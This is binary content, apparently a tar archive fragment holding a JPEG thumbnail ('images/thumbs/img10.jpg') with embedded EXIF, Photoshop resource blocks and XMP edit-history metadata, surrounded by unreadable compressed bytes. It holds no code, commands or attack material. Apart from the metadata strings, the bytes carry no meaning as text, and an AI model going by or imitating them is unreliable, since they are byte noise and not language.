^�m�N�gXt��2�]��]�U���h�k�5�%Z�k�Z�k�Z�k�Z�k���k�����k��]��Z�v���i�Z�Zt����e�EkYi�Z�ZtV����e�G�PR��5z\��10;��j�K�Z�ص/�j�b�:Ūu�T�y�X�N�j�b�:Ūu�T���-[�Z�X�n�j�bպūrչ���T{�˔w�`EE�A—�~�6'ls�\@��L���t�xI!�A���2"\!_U�v��ԛ0�pc𸆀~��g�����z��=UG9꯴�U
�CU�cV�vhT�m�R&����@ X�����RFB=�܃����.�'q���.Q�QE�p����
\�Hy�8^ah�E{���2��0A�a��7z���h��X��\����c�sl;��l;��l;��f+$�u��⣑�O�T
x��K�u���"�ιG�rֹk\�ɝh�
lA$S��:�FwD���
���TG���C�$=n�S����s�p��cxÃ~[U��X`�h����b!��H�[�8lF\�y���Q��nA�7��.�]��DV��Gp`EE�p����*\���e�����^�ⱺұ�ұ�ұ�ұJ��J�m(88�x�Q�(B��7� h�*<?�ޯ��?�Q�*]ާ)��CLbsy�+z����wJ��wH������e�}�.h�X���=�{���d�	��s_u7�s�<��L:6#.`��R@��Fd� ��v��"+^\��L�����3�b��,?2��,?2��,?2��,?2��-�j�͔!l���4N��^�ـ�z��\`�*	���'Ȯ��d��F�܉0P���Q������g��t��!�.h�N;=�
�2a��Cr���˘���A�á�b2��uc!��nA�7��.�#��DV���������Zj=�sLFd�cg��w܋��;+�b~[�Z�m�-Sv����}�^��O��\�`h���WH�*��Lg�V�p��Q�P�EG�a��r����n�
�xM�_�E��)sG�q��xlA�0�(c�_u7�z2'�4�:(�x��VDz3%�DM�c�-klv���������������,:+��+�!��FKv�����aDR�Q��2����Ss[��nkwM�n焯
G~�?�
��on�
�xl�_�E��)sG�q��xlA�0�(d×���5���>��j��i�S6�֩�]"���F�հ8V(�Z�mi��%��UDo��B8.W�Kr���]�]u-5�KMG��Uw���XA쥇/��a���\�W����=���鲝|�,0��v�j�Z:5��h�֮e��Xh�Xh�@�<��E�EA�@�nm��i�E�i�{lQ�:�����Rӓ(<*�J�R�T�P
��*��*��*��*��ئ&X�۴�;�֮W�j�~V�W�j�~T*Y�q6�	��2[���/���.gb���W/0+�e�ᬱ��f��5Ե§��8��0`V���k_�V���kiZ�ZV�֕�u�s��)sF^;=�/��sS(���E<E���E�!�ZӶ��mkN�֝��>�֝��;kXvְ�a�Zö��mk����;k�X�
9��W�D�F��oc=�2K��~eG�\�zS�Z~�Z�k�k�N ����%�f��4z\v{lW�=���
�
 Ux���X%��KW,��*dJ9�K}�:��Xi����m="�o����^H�!���,f�,�]Յ�[�6�Vmn�����fҩ�[���*���nׅKM2݉��)a��e��:����%��5Ե§
�`EE	��L���n�:K��fJ'�3{�@��rVo%`9ܕ��rVo%a6�Vo%a6�Vo%a6�Vo�a6��o�a6��F�Q�U����2ˆ��e�m�F�����*e?<tk}&a�:%���O�0t+}�gڷ�]��7�TuI������,������Ѫ%�<tk�����᠛6Ps^�C��wZ�-������$Q��Ϲ�mavw%avw%au�����VgrV[�XM�����XM�����Uy*�o�Tm䪍�eQ�TmU|/�Ql'��0��	��"�!
�5��#�5� �҃�w�h�Ƒٲ�Y1����\Mm3�
�ޑ�d�Q���ii"4�Q�	��uͨ�6V�`�K�ء�-����	�s%���`�zӛ1U/��Ѫ��l�U3�٠��f�����S3��fct���Ss��nctPsn�<Mn�����[kw���Ez9��^�ktW�����qz9�qz9�qd���14e�3�j�Z�V�U��j�Z�5�!^n,�`A^tZ�2�����
%Y�i*̓w��ײ�+¼��]5�
9~%�.�Gĸ�,�~,���~,��L`|�������?�6�1������Z��w��{��TF��P>��Eɘr�+l�l
�*��5J$x�\�@r-[v�zKTݽ%�nޒ�7oIj����L��Z�m�(�L��Z�s��}dZ�V7�KP�[Mj�i�C=m5���i��/��]�_���<�[Mvy~�H�<�[�]�_��.�/��e���G�I��TΧ/��\Ɛo"w���:>��E
�
��7�V��]5��Q�#Z�W�7�,Q�H��q��s@`�EG������?�@�‚6 ޸�4	��?�Nc�A+ЄU˰�Db���F]�G�D��^��B92KƘѱDxg�ث6*͊�b�ث6*͊�b���X��u���X��u���X��u��y�'Y�X�g)bu��^�EF�]s��D���7��x�TX����>���Ѥ��4i,n�J���j���j��3��u���:U��s��L�l��*��N?�*���C�[ޱ4��t����"�k�H�����is\.�6�{���JvjŪ�j�Z��Ū�j�-X�j��V&ڱ6Չ��M�bm�mX�j��V&ڱ6�^�E[�����Z�{�:-s�( �����@��@�8TQ�(A♒��%�{�W��V<#�Ъ6�Q�*��T�B�օS�
�ZN�*�hU:Ъu�qP�Z7~֊�T�>��ͳ���0���c��-}�qau�qD<�qE��x�o���t�Ř��C���4��98��h��V6@�8TB3e<S2X�,�'���֊\�����XB��P�*��T,
�`U�5T,j�X�@�[��b�L��5��]���L�qo����HnkUBƬ"ƨL�� �a8�⧄_,]-�K����Е4��%���?��\ Ecdi�� �f�x�d��Y\N�{	��Հo[�#:H��:G�e(��͋�b6,Fňر#g�b6y�#g�b6y�#g�b6y�#g)b6r�#g)b6r�#��X������X�o)�Ŧ��QM�����f�O	�=�-x�����5��\v{�%Ύ��$q�b�;3�����-c�9KZ��Zֻ3�����k�9k\��Z�e;��S� Zx���`�H!^t�x�����܄�rK^�D�PQ��N�c���(���.��.��.��.��.��.��)r�J�5����������!��
��m�cmckv�6�m�X۷���r�a����T��Px.QM�����a����/��h�pT�f��Ivv�Ivv�Ivv�Ivf�Ivf�Ivf�Ivf�I\���������\�����Z��c�?"�^�r�<�>�g~�8�1�{%J����||W(���M9P{Xj9A�E�2fS��j=5D���EDN�+��P3�>(�qkŮ�Z�k�V�Z���Ev�k�S\H4���
3%�L̖?�-	3�5s2��(�a4�״����~E2�&�x�}��!_o�?��aXaXaXa[�ƨ�lM�||W"
�H"-8�r�;̰�2�s��7
��P2�w%j�w%j�w%j�w%]�&z ��q~�2��'|ܠ���M{�e�Q�(B`�d��IzI�`ѫ����D#ik�^[�?"�^�Mr��O���r���xPNEH�ƃ���A��I��%�cQ�uc΁Mڝ�E��D�<��ץ��!j�m(�l]-���
準�TF�u���l��yD�Q��]��0,�nPxl㦽��4˘2�2P��L�c����!"y��fV�@� A��i�yo\��UNmfY>������@9R���dA�R2��1� �b��	�%��-꣛_4���Ǹ�Τ�����~�֕�֔
�|��f�6P��fV���e�����F�����r1���n�*�`U���u�V���[�
�Xo�*�`U����o0��e�ȌJ��<Tx|W{�e��q7(<6q�f1�i�\����&����_{+�b'���̬�'�(�#ik�^[�?�^�k2��]��gv��i�F��"��g�49���f�8?����n�e��7��Z�Q-v�����y���.�DW��<Tx|W{�e���=�k�-4˘2�љ,Bh�d����؄���9��d�%^�,�! ^c�}Y�ܻ	v6~
�~
���|�"7I&?W�vy���/0�6" �Gr"͟����F�҅2��>�4^���Pxl[ْ�r�z�c��9y�X��c���լ����Z�_��լ����Z�_��լ����C�Y��%+���8@,nB�}���`-p��bja��T}�q����\a<a<>+��2��e883�2[��L���轾�{��0�m��×��
��G�z����Ǩ��f�Q��Y��G�&���G_�=7����ǫ�z�{��c�]�f=v����Fc�i��ڇ�L���k#v�}�o�S��~L
Y ]<[ނ�g7IT���*�st�M�n�����U7=�j��MT�i����5Ss٦��k.�"C�x?��P� �8��I0E�	^c�5�ޖꏲ�7r"��5��p��������8���=*0�vq�����s�g��]�Z�%�ů�]�g?Ivq��%��s�f��]�g?Iva��%نs�GU˾~��:f��9�K��J\�R.La0�c}��VaXM�a6��VaXM�B鰦?�K,ZN^��*����^u�DG�!i��MA�1�ꏲ�7r"��X�J�:ҵ���c�+Z�Jֿ8�k�ֿ8�k�ֿ8�k�ֿ8�k�ֿ8������Z���~qZ���~qZ��k�g���V�fqZ��Q>fqQ��fyR�=��^R}'w|�����S����4V�4V�4V�4V�4V�4V��Ea�ktV��Ea�ktV���Xfg7Ea����nst���X&�7A`����nst	���X'g7AMc��
�Ժ0�\{.�`-p��bja��Q�]܈�@�
"��?�"�N&��{
�����F%�(���_�P���Z~T����mQ�0�B?����sY�C�Ns@�OΦ	��L�(�c��7H��P��{
�n��.�w"1*~�Gz�\�P�Z�C�?ʲ��*ʲ��*ʲ��/�v�h��߭�,��Yv�-~R���K�W�*!�Y�W�~����_e�?�^��U����]~B�����-�a~B���_����O��t|c�o���images/thumbs/img10.jpg000066600000065763151150443020010752 0ustar00����ExifMM*�����(1!�2Շi�$
��'
��'Adobe Photoshop 25.1 (Macintosh)2023:11:13 22:09:25�0231�������rz(�
8HH���Adobe_CM��Adobed����			



��g�"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�3j��}nc�-p2*�^/�o��#m���Y��a������o���^��~���,��e�h�4Ht~��f׵��-�`��:5VZ�N�y����V�:�9fSu�G��ǻr�.��2�>W�t���Eť��a�~���3_�vI��v�[k�w��1��}�˷�~�5����Tه��Nh���u`�[~^c�=Q�uu�K�rk��?C��1$�Np����J��c����Dً`,k]ݔ:�R�*o�<���+���]�|���er
x�Hj�3����/���G���m��Z}���yc�c�a�p-p?�k��)�&!-�1pIK(��"BJb�IJJRI�%)*�I$�S���$Jm��Yu/uv�e�0ÁBR	��C�����>��Ӑ}��ⷞ������3�7
��i��k|\}��4+o��l��x�
�}��U���,cj���ϡf�P�~W�S1:6���5����AK`��[�n�����w���ֳ�ӱZ��4W�鲜v�X��G�e_�K/�}`��Y�݌溜�iuv�k��_����uV~�����+�ql}Z�1B�k�n��N7�Xݷ�1��Y
����l��?p�z�9�s�V�<HO���)í�uu0npo�!�?C����-�u%3���l�7��Z�w���/����ܦ���\F���xo���i��~�W�~����_�_�2m[�R�:s�ְ)�47�Q�u�0�V�\��Y�Ԯ�ѩ����qj�;�ɨ��+]�-���c�^�c��J��qsIk�k�H-"#��&���]/�^��Ne�_i��-#-�:��&ڭk=�o�j�w�z܌:��Ot�hɎ&f�]��;�?g����Z���"�#��~�?���~�Հ�ЗW��9��w��5��+^�
��jJ\E\��7��I�j!���o�DM�����૔t��u#hW���?�95s����nѷ�*�wF�o��`�/�:�쾤˞W��Y#�a�	�Yw�z�M9V��Y`�F��p�>��=�3k�����֛���.��Q��ֿ���}/�n�����?�E�b�rX�Ty����Ƅo��}S�66Nmy8u��i�`��V�0��;��U�9�B��ɴ7��	ytl���]���՟�ڥp�(���u���,V7X��.��}�b����8���V"(V6vwO������U��n�K�~�5���/�/��O�K�J��;!�t��ۺv`�^5�CU��37w���u��ba�j_��׎�2 ��r�}�4��h/��~�ӷu�S�uo��K8���.m�V�~��/}X��n>�����=��ו����ۇ�N_��1�����-q�UeN�*c��N�C+m�]���
y����oc	c��v��������-ˬמ>͖�P7a���Y-��m����ח�>I�s�j�$�lr�M9���
@���U{��ck���V�-5�#�]�#+lު������/>�U���֝�LV�@��"tY&~�\<�ʫm@	RuV:�R��po�L7Tа����cVZ�l(�j	Sk
6��4�$`!.RC���q�6���Y���z�M8�'�\�RK��?���0WE�fZT������{������/�~��~�}c�ʳ�Fh~�bZ����]V�n���uį.hF���o�'�M�}v7�����$�ڟ��/Ȧ�Ջs8�zY!��3��x��o��G���u��	b��v��uy���;>��-ד_�/f̊~�}k���{\1�\ݹ��4��'鱿�i�v���^�K',tް�<�̆�\��/�ɏ�Ƿ��"t]�N��NG�7	��ˁ��e��^��VZ�X�}b'��J��/���2��T��G������W���_�ǝ?(U2J����.�O5�Bߊ�ϡ��Ƭ+]�ß���Sɣsr8�ȡEt��<�&M���d3�<��Bڧ�`-#��:]-qJe�N��EG�Hks��)�`vJ��i��~�(��Ө�B hA�Z<ς�\��%�)���)"����bS��� 3�]����Wz�c�2I���$�!$�����ZK\�-pЂ>������=+�Ջ�k�OPs[^[�X��XZ�g�b��BX��D�`��1�^���� �ߒ{p@%�����wN���q���6�����]�V6eM���������_��Vx�O�oQ!صK\�<�����,:���~3^5��*9Ψn���9	�����&=Aߕ��9�Li�Å���O��~3u1��N��Ш���ڜ1�m>��ZF�]��J�H�1��/�
�g��n�R��]_��$U(��ԡ�Lju*�l�ݡI1q�+���� z�]�ku,�c���\m���]k�.)$0k`)$���$�R�KD�IK�g�d�]��G9Y�.��/�UJR"�*j�}f�ʊ�}+Oy���}���[���t:�N���3>n�h$À�����������}�i��Ai%��߅�M�W����=9�w��-��l�M�b��|�a_�ջB2�����ہv+�]c��eA��	ǚ���2�,=�1��D8��U�63��I�Wke�p��?�l�;h�YK����׎��IBF;��Պ�tCA��0I%='^��-�X�P��p 8��Xg��] �f$��4�5$��Y�$�I%��Jt�Y�$�O��;ʿ�����We�ji:�Y��K�I	Uz�Ln�;�>����eM�h���lp��V�ڞ����輹%J|7�oC��qn�=��>��©mUA�7��I!j4�����Photoshop 3.08BIMZ%G8BIM%��}�Ǿ	pv���N8BIM:printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTHP Deskjet 3540 seriesprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM@@8BIMD@@8BIM8BIM?��img10��nullboundsObjcRct1Top longLeftlongBtomlong�Rghtlong�slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong�Rghtlong�urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM	8BIM
T�g�� 
8���Adobe_CM��Adobed����			



��g�"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�3j��}nc�-p2*�^/�o��#m���Y��a������o���^��~���,��e�h�4Ht~��f׵��-�`��:5VZ�N�y����V�:�9fSu�G��ǻr�.��2�>W�t���Eť��a�~���3_�vI��v�[k�w��1��}�˷�~�5����Tه��Nh���u`�[~^c�=Q�uu�K�rk��?C��1$�Np����J��c����Dً`,k]ݔ:�R�*o�<���+���]�|���er
x�Hj�3����/���G���m��Z}���yc�c�a�p-p?�k��)�&!-�1pIK(��"BJb�IJJRI�%)*�I$�S���$Jm��Yu/uv�e�0ÁBR	��C�����>��Ӑ}��ⷞ������3�7
��i��k|\}��4+o��l��x�
�}��U���,cj���ϡf�P�~W�S1:6���5����AK`��[�n�����w���ֳ�ӱZ��4W�鲜v�X��G�e_�K/�}`��Y�݌溜�iuv�k��_����uV~�����+�ql}Z�1B�k�n��N7�Xݷ�1��Y
����l��?p�z�9�s�V�<HO���)í�uu0npo�!�?C����-�u%3���l�7��Z�w���/����ܦ���\F���xo���i��~�W�~����_�_�2m[�R�:s�ְ)�47�Q�u�0�V�\��Y�Ԯ�ѩ����qj�;�ɨ��+]�-���c�^�c��J��qsIk�k�H-"#��&���]/�^��Ne�_i��-#-�:��&ڭk=�o�j�w�z܌:��Ot�hɎ&f�]��;�?g����Z���"�#��~�?���~�Հ�ЗW��9��w��5��+^�
��jJ\E\��7��I�j!���o�DM�����૔t��u#hW���?�95s����nѷ�*�wF�o��`�/�:�쾤˞W��Y#�a�	�Yw�z�M9V��Y`�F��p�>��=�3k�����֛���.��Q��ֿ���}/�n�����?�E�b�rX�Ty����Ƅo��}S�66Nmy8u��i�`��V�0��;��U�9�B��ɴ7��	ytl���]���՟�ڥp�(���u���,V7X��.��}�b����8���V"(V6vwO������U��n�K�~�5���/�/��O�K�J��;!�t��ۺv`�^5�CU��37w���u��ba�j_��׎�2 ��r�}�4��h/��~�ӷu�S�uo��K8���.m�V�~��/}X��n>�����=��ו����ۇ�N_��1�����-q�UeN�*c��N�C+m�]���
y����oc	c��v��������-ˬמ>͖�P7a���Y-��m����ח�>I�s�j�$�lr�M9���
@���U{��ck���V�-5�#�]�#+lު������/>�U���֝�LV�@��"tY&~�\<�ʫm@	RuV:�R��po�L7Tа����cVZ�l(�j	Sk
6��4�$`!.RC���q�6���Y���z�M8�'�\�RK��?���0WE�fZT������{������/�~��~�}c�ʳ�Fh~�bZ����]V�n���uį.hF���o�'�M�}v7�����$�ڟ��/Ȧ�Ջs8�zY!��3��x��o��G���u��	b��v��uy���;>��-ד_�/f̊~�}k���{\1�\ݹ��4��'鱿�i�v���^�K',tް�<�̆�\��/�ɏ�Ƿ��"t]�N��NG�7	��ˁ��e��^��VZ�X�}b'��J��/���2��T��G������W���_�ǝ?(U2J����.�O5�Bߊ�ϡ��Ƭ+]�ß���Sɣsr8�ȡEt��<�&M���d3�<��Bڧ�`-#��:]-qJe�N��EG�Hks��)�`vJ��i��~�(��Ө�B hA�Z<ς�\��%�)���)"����bS��� 3�]����Wz�c�2I���$�!$�����ZK\�-pЂ>������=+�Ջ�k�OPs[^[�X��XZ�g�b��BX��D�`��1�^���� �ߒ{p@%�����wN���q���6�����]�V6eM���������_��Vx�O�oQ!صK\�<�����,:���~3^5��*9Ψn���9	�����&=Aߕ��9�Li�Å���O��~3u1��N��Ш���ڜ1�m>��ZF�]��J�H�1��/�
�g��n�R��]_��$U(��ԡ�Lju*�l�ݡI1q�+���� z�]�ku,�c���\m���]k�.)$0k`)$���$�R�KD�IK�g�d�]��G9Y�.��/�UJR"�*j�}f�ʊ�}+Oy���}���[���t:�N���3>n�h$À�����������}�i��Ai%��߅�M�W����=9�w��-��l�M�b��|�a_�ջB2�����ہv+�]c��eA��	ǚ���2�,=�1��D8��U�63��I�Wke�p��?�l�;h�YK����׎��IBF;��Պ�tCA��0I%='^��-�X�P��p 8��Xg��] �f$��4�5$��Y�$�I%��Jt�Y�$�O��;ʿ�����We�ji:�Y��K�I	Uz�Ln�;�>����eM�h���lp��V�ڞ����輹%J|7�oC��qn�=��>��©mUA�7��I!j4���8BIM!WAdobe PhotoshopAdobe Photoshop 20248BIM��
Hhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="DEE410DD5D158AFBFA055B256531EF06" xmpMM:InstanceID="xmp.iid:f5719f2a-bd0d-45e1-8138-6a8cefb9840a" xmpMM:OriginalDocumentID="DEE410DD5D158AFBFA055B256531EF06" dc:format="image/jpeg" photoshop:ColorMode="3" xmp:CreateDate="2022-12-01T17:59:52+05:30" xmp:MetadataDate="2023-11-13T22:09:25+05:30" xmp:ModifyDate="2023-11-13T22:09:25+05:30"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:f5719f2a-bd0d-45e1-8138-6a8cefb9840a" stEvt:when="2023-11-13T22:09:25+05:30" stEvt:softwareAgent="Adobe Photoshop 25.1 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>DEE410DD5D158AFBFA055B256531EF06</rdf:li> </rdf:Bag> </photoshop:DocumentAncestors> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��!Adobed����
����"���! 0@P1A"`#2$
!1AQa"2 PqBR0@��br#CS��c`�����3���$ђ�s����4�DTd��E!P@`p0�a����R��"N2���j#���5i�`�s���8�lQ�`4	X��`(&i�($���'�ܺ�E�ιYiI�@�!�T˜ތ�Ҍy��?�=��cB`
@�!�RP�@H	�����y?@�)��:ge�&&0bm�&�g�FWg�\�tc��~��_���ALM@� �@"�4���x����zgr�V�d���]s,p�))�H�6����ڥ�_�;�;�y�KON\�$����)���d<fOi���q˩�$!X�4 4�@����J"o�>"��:|��:�yu�[e�@sX�Vc�J���&oJv+6��7a�Aų�A]�2�p�;�xd�Xp�z��9�}cɞLD1
ĉ$
 b bK$�����11�n,b b�0}�8�B�|�֞��~�5V�.�	߸�_?��.�j.�M�nB���8��>~�NE=؜�;�_/�:�w|�|�\O���*A48��mP�9�Ơ��j)�2�*֌�R�)��J�+$�M@�i��ʙ�/�;g�#��+�_O/�<��܅�d��n�yU�\��8�e��g2�t�'�}�Q�G����|�7���G�y��'+��;z�VI��ܵ������e�R���tJ��JՉ+��4�\��R�VRX�-;�`4����{���B�L<�눻$+
�;0����6E�l�����qW�?�2�y�7�2x�yh�)dtMJ�<�	hc`�b!�L!]��@��S1���ST�*1�%o���
�@��{l>_�z�m��T�1R1S�9]��w�UY��4���5%y�~�ɞ�\���S��K�t|���}繳������y��Z�H@�ƀb&�ZA4�S����b�F�\֬UY4fӓ���&��0��_�͊�뼐�s���vi�6,쭜����q�)m־'���d����^5���}מ_���3�\�����b`#U�$TJ2�dՒ9�r��[��ф�@&
h@�@����縺�Ζ�oX�K$�O�֮~�\���>��ϾGZ�Qѫ�^ׅ�ݛ�%fz�#�;�:������%��/�H���MX�F�֑RB�n�v��5V;#�+��f:���eOD̯d�'@Nz�Y���10Η��{�k����rt��ӵMz��4����q:Ze�O=��f
�\������z��;&??���zϟMwS���ٺ��G���4Z�,�
���i��(�N�H�B��T�j��o��s���َ�Wt�ݶ���3-�$�J�U�G?'g9ćGX,��|'J=V�ע������j:����v-�E�����܂���Տ1�?���wc׌��>us�o.ث马�ad:4�c��ye��dE��\�����"�BNRN�NJ��4�j![���+'-�Hb�!6ȶȩ�!j1s�9$6��Bu�δW���8�yM}�+�:~o�3�.m���g�,�^o{��~�>�r�z������ҭ�k���3GVk)Ǻ��#�H�[
��S&@$E�Z],�gLi%�`��
N�ɵ���1��lM�
�"����Z�G!h�10i�>�=�oS����rm:<n�Hy�G�����[�w住���.�t2[��+]V"�u�)%5��l�snTIkqSDI$I��u�b��D��0��!���mHlt�`�	��hP�%�Ҽ�~YKA!1�Sz/<J~c�.����G�I�����^�'G���OS���ӷ�|�]
FU�%��ւڒ�t�s]VGx�k��բ`�	H �����-�SY���8�!b�u�Od�c�0BdB��0����Y ƀ4�����Jk��_7�Κ�G���
YG.�o�ϟ^�ɠuZ��[XF3�֬�e�Nm�o�Y��t@�0CB���ؐ�ؔ�)\�+�JY^��u�`�0& "��Ъ��'�Ȭɒ�1��`P&��%��{B�W{��b�M��ٲ���GF�y��J_:$^��!"�R�AV}uق��CZ��$!���H+VE���e�FCT���ZC���c�&�"���@Dj�9����,��`�`��9��>'B�|��q�]������ĵU�%���4��,HWzZa`��t(�1W|5��5�1��!�HnX��B�ܚ��ve�W
��o+i�LcTD c
@�#��,v�(A��L,��%���&�E�s�Ǿ������צ
ꬉ(��WH��1��V��x^���E��!�
�l�l*�"�4ے��R�fƎ�Y&@�(��
qr�����-`�ƀ&�@vx�ׯ~g�ǷJUY��)M%`Uі�����I��aY��]�0�6f��k4JU��'v1�lPl�l
��œ��=r������d��1�D1�͖�҈���`�`�	�4/{����l�w>����XK�KNm�9�Ӑ���lW"ScsJ��#	Uz�����^)]�%�P��;����XLr�"�B�1��f�L�
��`�1�T0@�����{����s5s�TZ�5Ut%���Լ�t3�Z�]�c���X���he��u/y��I���S
V)���D����L!W*
��9�UDh0A�@b&@�#���&�N�)��ӹ<1���u`�Fp���c.j�>鬱��5�Aeu4��#eU荕����7:�
�'��`
.�m�KF)֤�d`Pb&@��O_ϼ��]����Ӟ	�[#C͔�Ш�J���4�!`Q^����6�+SI\.�f��٪|��N������g)����&�0P4hP���C:�xFu�_�ۍ���c�Z�F��[�d���հ��Q,EU�ʣlj�4����Mz#g|2"*�Q:92�S�
`� ( � ��$���{��<���̗>�i�ѝN�	h��VUQTm��F蔖+)V�;@z|�(8��F^u�ʆ�P4��� @Ph��.��3{[8{yv�<Wc��M��w��X��6"�b+���#|��W�߯�=�|@{>W�i�6�e� �b
� �a
�wCq�7�q�M��aq�7Cq�M��a
��a
��a
��a
�wCq�7Cq�7<�W�����G����Џ���>=�|)^�(Ojx��Q��������]1�}3����_�&L�2dɓ&L���}V��2dɓ?���~���?y�3�eu��?��y/q��̑'�1<�,bF�K�&̾�B�L�葏����&?Bb~�0c�g�'�҄���#�!~	�1�B�������>�3�X������qL���2'�k䵕(4c��L��5�z��1?�(�׵�?���׻�>��qL�Z1��L����F�����@h�L�%�2P���|�O�������&Q���rg��^�
,�<�<��g�<L�юED��0`���qC��x�����Ed����'o��/y�hk�^���}_˭����|�+x3�B~���l��(Q�QH�����>�돇��Dz?O�0c⮘#�qщ�՟F>:�^:4.�by^���1��ӂ�1t�О�������#.��4E��1�&~*�G��B�сK�=�Q�D,Lϭth���,�Z�1�Ŵ�4̙�'�F�O��״�'�&L�Ɂ/C�H]Z1���fz&!3�B�~�jM�}s��m	��!�X͢2O�}3�����]�d���'�cԇ�h��������Rh���Ϗ�"����Oy�y���8��`�Y-��ZQ�;�U�?�}�LFE�]?~��9%Qh�R-��K����u�2���HȘ�O�G��t����8��%FK�\�
cu6Qg�Wv(Z��12/�f}�2`��qH�I+ne�{9m7tq~�~oS��]�sڪ�2P�Sș#&z�F2`�91k������uj/�4�r|\6cf��?�Y:��rVX��*�H�RDX��U�
�nN`�؍G!�EY��m��jМK�)�<����2U\�U�q�3�?�jm�V�;{_n��YU�O$d)	���B��)wp��%���㸊4b��C����6�e�_3��W���
�,�7`N�ĕ:�,�8�g	��M���3��v-�z�%r:��q�2Fb�e!	�G蔊���9=۷���)e�WU|���ϋ�>sUj�B�o��yHIB��Y!"�
K8-I�?$Y��TNV[��z���64�u�}Y鞙2g����s���ן�U|+�2#,�]��"#b�i[?�n��+�Z�2�j��G���w��{O���N�R���UR'�����l�B�تB�Y���-�-,�~�>�m!U���ssQg�L�2dɓ&L�ɓ=rd�L�2d�ʣb�'��F�l�,�&D��9,GsqS_D��No���.3��K���B��xJ����2M&]�E��m�-���Gzؐ��F�Cj�
qd��I����PY�&L�2g�L�ɞ�����M��svS-=��s!",�f�=����|��׎����5--_�8Hqz/j,�WR��*خu�j�N��W��&�IW	)�Q"�-���.�}��^�)B<�[�i�7�On�J?����g׆x������Y��[>��>�}l���}l�g�<Y��>��g�zdɟoG��R|g/V�j�%s<�V��ޱ}�d�r��W�OM��=9;�4%�\�ӊe�c����J&P�ÌY�)(����).K��J�7~;����<��楺[^�LPb�P<����G�<�}h����<�8!ևX�g���?�Fź����k�FiO�h�m�n��?���X?���V��:ʞ9�E5Ѭ�k<%��!b�Vu8�(�'���v�o��<���ئ������prTJ2��Q�
"��x�&��<O��<O��<�p<L04�8!���Ɵ����y��-]꯮����e�C��e!����A�`�I��[�G���Ɣ&�4GSa�j�D�6ENx|�#V��=�#�ѝ���[z�m�c��_wБ��(�"��`��0`���a<O�q��08�+���t�G�UL�؆��	<��,G��[:b�g�E��&�(]��d�LQH�)����^滶�7j��ڥ>�K�Ԟ�Һ5�kllh�!������s�1��r1�#
��59
�G��3U��?�ٝ2���/�1ŢK��d���\�5۪�\��$$������Cs����t�e�W}6W>r�
;��e���+.����$KӁDq��8��h��{x�iیiz��Â���\��d��|d&ӎsV�nr�!Y�u�eNֻ	�y.gRz6p�v���[<����QL���[ur|}�v�D��d��$��!���9E���z�*��f��W,�K	�%:���k���^���R>��B|^̣�e��P��8m�{�o)�f���Cb0����n��r3ׇ7�S���q �/c>�z����8�'��>"x|N�v)}��U7��<7/.�iN5�T�Wa��������mD����u����F�Lڪ�w��clc$��,�h��CG����Z �/�"C��
'�(����я��nKWb�T�^��ל�׺�k���ʺ�	��ӵE�[]�Ee��9[Z����x�'w���J¹fk
s�O��}{-ڌ����;<F���汳����J�H}P����i!������űT��$�)S��s��R���[U�6v�MQ�d��XK�ѯv��j�[씹]͝)�܌6`�%��V9ӹG����48>Nʧ�����mX���k�ۈ�+$K��F$"%��I�hhh�?Kjz�5N��z�ީ�J���nk+#(�=M�T�5���u��\W;��j-�.��dsd�+���տ��
�����%�qWk/�/�Z��������o쩬>z���#&�e�k\��ё{��$B$ a"V$;E,�c?ϯQg�<���qż}������#b��t��GsB6)FQzW�	>�z���]�S���-�:NƊ&��rz�i])F��j�r�z�;<^��/���ukjW�B7C^vq��v�n�i�K�j�+eT��
